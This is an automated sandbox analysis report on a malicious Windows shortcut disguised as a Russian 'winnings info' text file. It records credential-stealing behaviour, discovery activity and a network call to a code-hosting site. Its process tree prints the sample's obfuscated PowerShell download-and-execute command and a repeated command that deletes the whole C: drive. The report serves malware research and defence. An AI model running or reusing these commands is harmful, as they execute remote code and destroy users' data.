741e51c2cc2ade48c73452ee569261a8586fa4f24a503c9d6198a0fcf5d22eea

Analysis

max time kernel
112s
max time network
141s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
31/05/2026, 16:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Инфо и получение выигрыша.txt⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀�.lnk
Size 44KB
Sample260531-vdvqlsft2m
SHA256 741e51c2cc2ade48c73452ee569261a8586fa4f24a503c9d6198a0fcf5d22eea
MD5 6dbd61f46b223aabaa2862a22157905f
SHA1 d5f3c13a1c6e35580eec5766e45dc0f7173e9ed3
SHA512 843c5607d618eeff1e6b936d0f08f148a267da5f35ee6b1a730ea0403eb4e6b5b6300565d158270eb85d61ebd7b17b66212d9729fc1cebf6e9e82a1204fe0af4
SSDEEP 24:8akaMsff4c5+i7KQPWPNAUWXBIcCGjIYbNYz7jkwIyt4kEuuatQp3z4jI4d3nxe+:8ak6QfWe+HpCGjtbNYIqQpYX/SI9IO
TLSH
T17E13252CCDA9822EC473C53DD8AA9712F9A36416A63DDA4D61CF634F9B13142F415B0E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access discovery execution persistence spyware stealer

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3888	powershell.exe
3	3888	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2924	Runner.exe
4612	Runner.exe
2356	msedge.exe

Loads dropped DLL 3 IoCs

pid	Process
2924	Runner.exe
4612	Runner.exe
2356	msedge.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3888	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~1\desktop.ini	cmd.exe
File opened for modification	C:\PROGRA~1\desktop.ini	cmd.exe
File opened for modification	C:\PROGRA~1\desktop.ini	cmd.exe

Enumerates connected drives 3 TTPs 21 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	Runner.exe
File opened (read-only)	\??\O:	Runner.exe
File opened (read-only)	\??\U:	Runner.exe
File opened (read-only)	\??\X:	Runner.exe
File opened (read-only)	\??\E:	Runner.exe
File opened (read-only)	\??\G:	Runner.exe
File opened (read-only)	\??\L:	Runner.exe
File opened (read-only)	\??\M:	Runner.exe
File opened (read-only)	\??\Y:	Runner.exe
File opened (read-only)	\??\K:	Runner.exe
File opened (read-only)	\??\Q:	Runner.exe
File opened (read-only)	\??\W:	Runner.exe
File opened (read-only)	\??\Z:	Runner.exe
File opened (read-only)	\??\I:	Runner.exe
File opened (read-only)	\??\J:	Runner.exe
File opened (read-only)	\??\N:	Runner.exe
File opened (read-only)	\??\P:	Runner.exe
File opened (read-only)	\??\R:	Runner.exe
File opened (read-only)	\??\S:	Runner.exe
File opened (read-only)	\??\T:	Runner.exe
File opened (read-only)	\??\V:	Runner.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2924	Runner.exe
2924	Runner.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~1\MICROS~2\root\Office16\FORMS\1033\OOFS.ICO	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MIC72E~1.SCA\Assets\CALCUL~4.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~1.0_X\MICROS~1.WIN	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI91CD~1.0_X\Assets\CONTRA~1\PaintAppList.targetsize-48.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI3116~1.0_X\images\CONTRA~2\HXF790~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI4490~1.0_X\Assets\CONTRA~2\AP4C40~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\Java\jdk-1.8\bin\AP8526~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI686B~1.0_X\Assets\TIPSBA~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIA54B~1.0_X\mrt_map.dll	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI9463~1.0_X\Assets\CONTRA~1\LAAB97~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID657~1.SCA\APPXBL~1.XML	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICAAC~1.0_X\Assets\AppTiles\CONTRA~2\MapsAppList.targetsize-40_altform-lightunplated_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\REFERE~1\MICROS~1\FRAMEW~1\v3.5\System.Web.Extensions.dll	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~3.0_X\Assets\AppTiles\WeatherAppList.targetsize-36.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI9463~1.0_X\Assets\AppList.targetsize-30_altform-unplated.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIF169~1.0_X\Assets\PhotosAppList.contrast-black_targetsize-40.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIFEE6~1.0_X\Assets\CONTRA~2\NO7E80~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI914F~1.0_X\CPPRES~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\COMMON~1\System\msadc\msadce.dll	cmd.exe
File opened for modification	C:\PROGRA~1\REFERE~1\MICROS~1\FRAMEW~1\v3.5\de\System.Web.Entity.Design.Resources.dll	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICROS~2.0_X\Assets\AppTiles\CONTRA~2\NewsAppList.targetsize-20_altform-lightunplated_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIC0CF~1.0_X\Images\FILESW~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\COMMON~1\MICROS~1\ink\en-US\rtscom.dll.mui	cmd.exe
File opened for modification	C:\PROGRA~1\MICROS~2\root\Office16\1033\SETLANG_COL.HXT	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0946~1.0_X\Assets\CONTRA~2\PE3A81~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0311~1.0_X\pl-PL\PADCON~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIF169~1.0_X\Assets\PhotosAppList.targetsize-36_altform-lightunplated_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICAAC~1.0_X\Assets\AppTiles\CONTRA~1\MAB940~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIFEE6~1.0_X\Assets\CONTRA~1\NotepadAppList.targetsize-72.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI914F~1.0_X\Images\LockScreenLogo.scale-150_contrast-black.png	cmd.exe
File opened for modification	C:\PROGRA~1\dotnet\shared\MICROS~2.APP\70B216~1.16\fr\SYSTEM~3.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\dotnet\shared\MICROS~2.APP\80A2AC~1.15\es\WINDOW~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI36E3~1.0_X\Assets\CA27F6~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MICB88~1.0_X\Assets\AppTiles\CONTRA~2\AP0426~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\MICROS~2\root\LICENS~1\HomeBusinessR_Retail-ppd.xrm-ms	cmd.exe
File opened for modification	C:\PROGRA~1\MICROS~2\root\Office16\mscss7cm_es.dub	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MICROS~3.SCA\Assets\CONTRA~2\SN8C94~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIBF04~1.SCA\Assets\CONTRA~2\APPPAC~4.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIA51D~1.0_X\Assets\CONTRA~2\GE651B~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI3CE1~1.0_X\Assets\AlarmsAppList.targetsize-32_altform-lightunplated_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI3116~1.0_X\images\OutlookMailLargeTile.scale-125.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI3116~1.0_X\images\TH3180~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\REFERE~1\MICROS~1\FRAMEW~1\v3.0\it\UIAutomationProvider.resources.dll	cmd.exe
File opened for modification	C:\PROGRA~1\WINDOW~3\TABLET~1\TableTextServiceTigrinya.txt	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIBF04~1.SCA\APPXSI~1.P7X	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIA51D~1.0_X\Assets\CONTRA~2\GE5B15~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI3CE1~1.0_X\Assets\AlarmsAppList.targetsize-24_altform-unplated_contrast-black.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI914F~1.0_X\Images\SMF848~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI4490~1.0_X\Assets\AppList.targetsize-60.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI369D~1.0_X\Assets\CONTRA~2\SNE102~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI369D~1.0_X\SNIPPI~1\Assets\SQUARE~3.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID178~1.0_X\Assets\ILLUST~1\ICON3S~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MID657~1.SCA\Assets\AL471E~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI914F~1.0_X\Images\SQA2E1~1.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI2B2D~1.0_X\CLRCOM~1.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\COMMON~1\MICROS~1\ink\fr-FR\TabTip.exe.mui	cmd.exe
File opened for modification	C:\PROGRA~1\Java\jdk-1.8\jre\lib\plugin.jar	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MI5786~1.SCA\Assets\CONTRA~1\PEOPLE~3.PNG	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\DELETE~1\MID517~1.SCA\Assets\CONTRA~1\LargeTile.scale-125_contrast-black.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIC0CF~1.0_X\LOCALB~1.CON	cmd.exe
File opened for modification	C:\PROGRA~1\dotnet\shared\MICROS~2.APP\80A2AC~1.15\ko\SYSTEM~4.DLL	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIA51D~1.0_X\Assets\CONTRA~1\GetHelpAppList.targetsize-256_altform-unplated_contrast-black.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MIF8B8~1.0_X\Assets\CONTRA~2\BadgeLogo.scale-200_contrast-white.png	cmd.exe
File opened for modification	C:\PROGRA~1\WindowsApps\MI0A62~1.SCA\Assets\CAE263~1.PNG	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3484	chrome.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe

Enumerates system info in registry 2 TTPs 11 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	msedge.exe

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
3888	powershell.exe
3888	powershell.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
2924	Runner.exe
3888	powershell.exe
3888	powershell.exe
3888	powershell.exe
3888	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
876	chrome.exe
876	chrome.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	4612	Runner.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2140 wrote to memory of 3888	2140	cmd.exe	82
PID 3888 wrote to memory of 2924	3888	powershell.exe	83
PID 2924 wrote to memory of 4852	2924	Runner.exe	84
PID 3888 wrote to memory of 4612	3888	powershell.exe	86
PID 4612 wrote to memory of 392	4612	Runner.exe	87
PID 2924 wrote to memory of 876	2924	Runner.exe	90
PID 2924 wrote to memory of 876	2924	Runner.exe	90
PID 876 wrote to memory of 1836	876	chrome.exe	91
PID 876 wrote to memory of 3544	876	chrome.exe	94
PID 876 wrote to memory of 3544	876	chrome.exe	94
PID 876 wrote to memory of 3484	876	chrome.exe	95
PID 876 wrote to memory of 4540	876	chrome.exe	96
PID 876 wrote to memory of 4540	876	chrome.exe	96
PID 876 wrote to memory of 1820	876	chrome.exe	97
PID 876 wrote to memory of 1820	876	chrome.exe	97
PID 876 wrote to memory of 1692	876	chrome.exe	98
PID 876 wrote to memory of 1692	876	chrome.exe	98
PID 2924 wrote to memory of 2356	2924	Runner.exe	99
PID 2924 wrote to memory of 2356	2924	Runner.exe	99
PID 3888 wrote to memory of 4976	3888	powershell.exe	100
PID 3888 wrote to memory of 2016	3888	powershell.exe	102
PID 3888 wrote to memory of 2664	3888	powershell.exe	104
PID 3888 wrote to memory of 384	3888	powershell.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Инфо и получение выигрыша.txt⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀�.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h $k=31;iex(-join([byte[]]@(118,122,103,55,118,109,114,55,50,117,112,118,113,63,56,92,45,58,92,45,58,92,45,58,48,113,118,126,114,48,108,123,126,122,119,48,108,121,122,109,48,106,105,122,126,124,116,120,120,48,109,112,107,124,122,113,113,112,92,113,126,114,108,122,123,126,109,75,48,114,112,124,49,107,113,122,107,113,112,124,109,122,108,106,125,106,119,107,118,120,49,104,126,109,48,48,37,108,111,107,107,119,56,68,50,46,49,49,50,39,40,66,54,54)|%{[char]($_-bxor$k)}))
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Users\Public\Music\Mp3Drive\Runner.exe
    "C:\Users\Public\Music\Mp3Drive\Runner.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Enumerates connected drives
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /fo CSV /v /nh
      4⤵
      PID:4852
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --no-startup-window --disable-gpu
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of WriteProcessMemory
      PID:876
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome876240760437 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome876240760437\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome876240760437 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x1a4,0x1a8,0x1ac,0x174,0x1b4,0x7ffa6f07c728,0x7ffa6f07c734,0x7ffa6f07c740
        5⤵
        
        PID:1836
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome876240760437" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1872,i,12568874017763105219,13332580258039810097,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1868 /prefetch:2
        5⤵
        
        PID:3544
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome876240760437" --force-high-res-timeticks=disabled --field-trial-handle=1872,i,12568874017763105219,13332580258039810097,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3484
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome876240760437" --force-high-res-timeticks=disabled --field-trial-handle=1872,i,12568874017763105219,13332580258039810097,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2488 /prefetch:13
        5⤵
        
        PID:4540
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome876240760437" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1872,i,12568874017763105219,13332580258039810097,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2776 /prefetch:9
        5⤵
        
        PID:1820
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome876240760437" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1872,i,12568874017763105219,13332580258039810097,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:9
        5⤵
        
        PID:1692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --no-startup-window --disable-gpu
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Enumerates system info in registry
      PID:2356
- - C:\Users\Public\Runner.exe
    "C:\Users\Public\Runner.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4612
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /fo CSV /v /nh
      4⤵
      PID:392
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops desktop.ini file(s)
    - Drops file in Program Files directory
    PID:4976
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops file in Program Files directory
    PID:2016
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops desktop.ini file(s)
    - Drops file in Program Files directory
    PID:2664
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c rd /s /q C:\
    3⤵
    - Drops desktop.ini file(s)
    - Drops file in Program Files directory
    PID:384

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:980

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2484

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

configs.ini

Path C:\PROGRA~2\MICROS~1\Edge\Application\configs.ini
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

SumatraPDF-settings.txt

Path C:\Program Files (x86)\Microsoft\Edge\Application\SumatraPDF-settings.txt
Size 1KB
SHA256 d2bd3b552fe8bfe280ae6ef28df966115b1ec6f60a9af2340a40b2f1cee43466
MD5 7bcaabd34a65e7a7fc3aa98e9d926fe8
SHA1 fc45e2eb22d53a383e396f8f886b90eb9b4e0bb7
SHA512 8a5bcad1c5ffaae0da4db9a4507db148057f47cb019bb6b71ed8c01ab1bdb4ca66711bfe1d59c2ac5efd60574946dca43feab88b4710ae335f33d03e4b493b7f
TLSH
T10B3146296956713CA913232D6DB7B0334EE638A132D735D47EEE14283441E4CC2AFD4E
MD5 SHA1 SHA512 TLSH

Submit Download

POWERS~1.LOG

Path C:\Users\Admin\AppData\Local\MICROS~1\CLR_v4.0\USAGEL~1\POWERS~1.LOG
Size 3KB
SHA256 02490c3e62fb8c4dc20dd761c701464e4b313a079f8eed5013199c0a37043684
MD5 0c63e73e3e828de7a1b3048290878f47
SHA1 3fe5a6951f8d726af74034579d8f9deba035bb32
SHA512 f45c04a52b21dfbc199dd926008d1072105fb4e1d59e839b901352ea7aac7bc6478d58b18abe73df4be29d74c19c008669ba3e8683d21b70cc5f177e841c07fd
TLSH
T1FE81CD313375A0D489563F07192C19C463BF8356FA68AF4CB65C620EE92B10BDB222F7
MD5 SHA1 SHA512 TLSH

Submit Download

MODULE~1

Path C:\Users\Admin\AppData\Local\MICROS~1\Windows\POWERS~1\MODULE~1
Size 61KB
SHA256 6fdeec2f92eb76481d3ed9ecda14ac10fbaed3a2e7b79177cb21d61bfdd72eae
MD5 7e926679e99e8c4855b4cd56504c907b
SHA1 e08cd854fba24aa284c75ca4e2022e5ec3f0556c
SHA512 3286d0021c360c863c0dec1686af478c0f5a6fc040539640579969cb947ec8c768662ed9c1ed2258447480cdde81eac3dc34409df3e2fdd95d3ff1a14ab4c7bf
SSDEEP 1536:KflJdfh4iUx4YklMRbfKQOUpeEdqMdDa5wcNC+jH0IMZMFYoeLV3CNBQkj2QOdBg:KflJdfqiU4YklMRbfKQOUpeEdqMdDa5x
TLSH
T116538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

STARTU~1

